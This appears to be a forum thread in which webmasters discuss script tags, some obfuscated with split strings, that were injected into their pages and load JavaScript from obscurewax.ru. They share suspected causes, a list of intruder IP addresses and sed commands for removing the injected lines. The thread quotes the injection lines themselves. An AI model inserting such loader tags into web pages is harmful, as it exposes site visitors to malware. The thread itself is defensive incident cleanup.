i have following code added automatically into my script...
<script type="text/javascript" src="http://obscurewax.ru/Kilobyte.js"></script>
<!--72628eb2e686638651ad69b6a34a630f-->
at the end of my each page when i see source code of my page it shows me the above code but when i open that file in notepad or any editing software it shows me nothing but only my script.. how can i remove that script from all of my files at once...
also let me know why it is happening so far..
Start with changing FTP or any other remote access passwords and check your computer/server for viruses. Something/someone is adding this automatically to all your files. Then you can use any mass-text-replacement tool like http://tools.tortoisesvn.net/grepWin to find that line in all files and remove them (by replacing with empty line).
UPDATE
I missed your line about that you don't see that line in your files source. Just check the rest of the file and check all JS files - they should include small portion of minified code which adds that line. You can also try to search all your files locally or by using any browsers developer tools to find where same URL or part of is mentioned.
Who is your hosting provider? Some hosts do insert code (normally ad banners for free sites, but not always) to your web page on-the-fly. If you do have such a host, I recommend getting a different one.
Never attribute to a virus what may be due to a free webhost ;)
Is that actually the URL of the script being inserted in your pages? Because that's an empty file.
I have a clients site that got hacked with line of code from obscurewax.ru. The site is hosted on GoDaddy shared hosting. It looks like they edited multiple files yesterday on the server.
We are not sure how they entered the website but they did crash the website. We are right now going in and deleting everything in start over as we are unsure of where they left files to start over.
They left this line of code - obscurewax.ru/Heat_Sink.js
Which does nothing, but I am not taking any chances. According to whois, the domain was purchased just three days ago and the info is private. If it was the hosting provider it would be public. Its being hosted in Russia and on US websites, I see that as a red flag. I think they are building their network and will activate the scripts once they have a big enough footprint.
Hope that helps.
I got the same problem on my website. They altered all .js files and added that line of code at the end. The problem is that i can't find how they did it.
Weird. I got the same thing in one of my clients index.html with a bunch of other mysterious files. Perhaps they got into his FTP. of my 50 other clients, noone else was effected it seems.
Upon inspection random users have been been able to access the FTP for a while. here was the unique list of IPs that I know aren't the owner's
137.149.150.100
173.35.246.173
174.143.242.47
188.229.31.45
188.24.43.62
188.25.239.153
188.25.73.186
189.28.154.133
198.145.116.71
198.63.210.170
203.81.55.153
208.101.102.60
209.239.120.50
212.189.180.1
213.142.137.131
217.27.224.7
68.45.8.194
69.143.233.198
70.38.11.176
70.81.249.108
74.58.67.48
76.104.123.11
78.159.45.198
78.245.136.34
78.251.215.23
78.94.44.177
79.112.216.109
79.114.26.35
79.117.237.130
79.136.32.209
81.66.237.244
81.82.154.174
81.82.52.12
82.234.154.97
82.247.130.26
82.36.17.105
83.84.225.144
84.196.204.172
85.136.145.183
85.139.199.26
85.28.76.190
86.60.215.133
87.244.217.188
87.247.251.44
87.59.67.145
88.162.127.32
88.207.7.151
89.114.92.59
89.46.96.87
89.47.179.66
91.147.207.215
91.65.157.38
92.249.196.99
94.141.145.147
94.227.112.143
95.79.22.165
99.226.133.161
Looks like some sort of mass attack. I would look at the timestamp on the files that were modified, see if any are close or if any of your other ftp people have logged in with those IPs. Just to note I am running debian linux server with proftpd...
I got a weird error message when trying to edit the file in winSCP using notepad2...so it looks like whatever code it is, messing up typical text editors. I was able to nano the file and delete the links though.
PS: I was made aware of this when google emailed me "Dear site owner or webmaster of [censored].com, We recently discovered that some of your pages can cause users to be infected with malicious software. We have begun showing a warning page to users who visit these pages by clicking a search result on Google.com."
(Sorry for my english) I have the similar problem. About 3 days ago. But the script is different:
<script type="text/javascript" src="http://obscurewax.ru/AGP.js"
Had changing the FTP-password helped somebody to save from script's independent embedding? (I just have limited access)
Detected same problem today. I deleted all strings from js manually. They getting smarter. My string was:
document.write('<s'+'cript type="text/javascript" src="http://obscurewax.ru/Scroll_Wheel.js"></scr'+'ipt>');
Hmmm.. It seems that it is proftpd 0day. Pair of clients reported the problem on their sites. There was proftpd 1.3.1 installed on the server. Regarding log files attackers were bruteforcing only login names, not passwords. After successful guessing the login name(regarding site's domain name, for example) they hadn't any problem to login... Bad thing, I hope upgrading to 1.3.3 will fix it.
If you are running linux server here is 2 fast console snippets to fix sites after obscurewax attack:
cd /to/site/webroot
find ./ -type f -exec sed -i "s/document.write('<s'+'cript type=\"text\/javascript\" src=\"http:\/\/obscurewax.ru\/Google.js\"><\/scr'+'ipt>')//g" {} \
find ./ -type f -exec sed -i 's/<script type="text\/javascript" src="http:\/\/obscurewax.ru\/Google.js"><\/script>//g' {} \;
Don't forget to replace Google.js with your variant of attacker's link.
UPDATE
The proftpd is clean. After some investigation I've found the real reason and it is just prosaic. One of the leading hosting manager was keeping the login/passwords of many ftp users in his Filezilla on the Windows Desktop. All the passwords that he kept was stolen by a third party.
Malware infects a PC with stored ftp passwords. It then automatically takes the passwords and logs in and infects the website. Look for 2 recently modified files in c:\windows\system32\drivers They are probably the culprits.
Could this be any components/plugins that is not updated perhaps? How about we make a list of our components to see if we have some that are the same and maybee the curse of this hack?
My list is: (components)
Attachments
Banners Enabled 1.5.0 April 2006 Joomla! Project
CSV Improved Enabled 1.7 22 May 2009 RolandD Cyber Produksi
CSVI VirtueMart Enabled 2.0.1 28 November 2009 RolandD Cyber Produksi
docman Enabled 1.4.0.stable February 2009 Joomlatools
Easy Search Enabled 0.1.0 November 2008 Hiro Nozu
easysql Enabled 1.27 30/11/2006 Serebro
FrontpagePlus Disabled 0.1.0 January 2009 NoNumber! (Peter van Westen)
gk3_tabs_manager Disabled 3.0.2 31/05/2009 Gavick.com
JCE Enabled 157 23 June 2009 Ryan Demmer
JCrawler Enabled 1.7 Beta 20/4/2009 Patrick Winkler
JoomlaPack Enabled 2.4 2009-12-05 JoomlaPack Developers
K2 Enabled 2.1 September 9th, 2009 JoomlaWorks
Linkr Enabled 2.3.6 April 2008 Frank
Newsfeeds Enabled 1.5.0 April 2006 Joomla! Project
Polls Enabled 1.5.0 July 2004 Joomla! Project
Nova Enabled 1.7.5 February 2010 ProJoom
pjinstaller Enabled 1.0.8 January 2010 ProJoom
QContacts Disabled 1.0.3 July 2008 Massimo Giagnoni
QuickFAQ Enabled 1.0.3 01/02/2009 Christoph Lukes
redlinker Enabled 1.0b11 09/09/2009 Redweb.dk
redVMPRODUCTFINDER Enabled 1.10 21/01/2010 Redweb.dk
RokCandy Disabled 0.82a January 31, 2009 RocketWerx, LLC
RokModule Enabled 1.1 June 2008 RocketTheme
forme Enabled 1.0.4 07/02/2008 www.rsjoomla.com
RSform Enabled 1.2.0 17/06/2009 www.rsjoomla.com
rsinstaller Enabled 1.0.0 04/06/2009 www.rsjoomla.com
sh404sef Enabled 1.0.16_Beta Jan 2, 2009 Yannick Gaultier
VirtueMart Enabled 1.1.4 16.10.2009 The VirtueMart Development Team
vmemails Enabled 1.0.4b182 2009-11-28 InteraMind Advanced Analytics
Weblinks Enabled 1.5.0 April 2006 Joomla! Project
Xmap
Note: 2 month ago I did a complete cleanup of my pc, changed all passwords on the server and website. This only worked until now where the virus is back, so my very good guess is that it's a component, module, plugin that is during the damage. Yes, you can do all the virus clean up you want, but the issue will return!
I just stumbled on this; oops, it is quite a recent incident here. I thought that my site was the only one. I noticed that this script was always loading whenever I accessed my site; I was running a CMS but now I have shut it down. As for the suggestion of the vulnerability within FTP, count me out of this since I have never used FTP. I simply shut down the CMS section because even after running a fresh install of the latest release of the CMS another malicious script was still loading while accessing the site. That made me come to the conclusion that my web host's servers may have been compromised already. Other malicious scripts that had attacked my CMS include:
P.S: My .htaccess file was also altered and the file permissions to my CMS were all turned to 777. Could this be a cPanel vulnerability being exploited by these hackers?
Here is the script found on my website by Google. Google had blocked my site because of "Malware"
I was trying "Word Press" and a theme, that I paid for, "The Local". This, in my opinion, is the only path that this script could have been added. I removed all scripts of Word Press and The Local, and now Google does not detect Malware on my site.
My solution was deletion of all the scripts that I mentioned and replace everything with standard HTML. The other scripts were mostly all PHP, and I find HTML to be much more stable.
Good Luck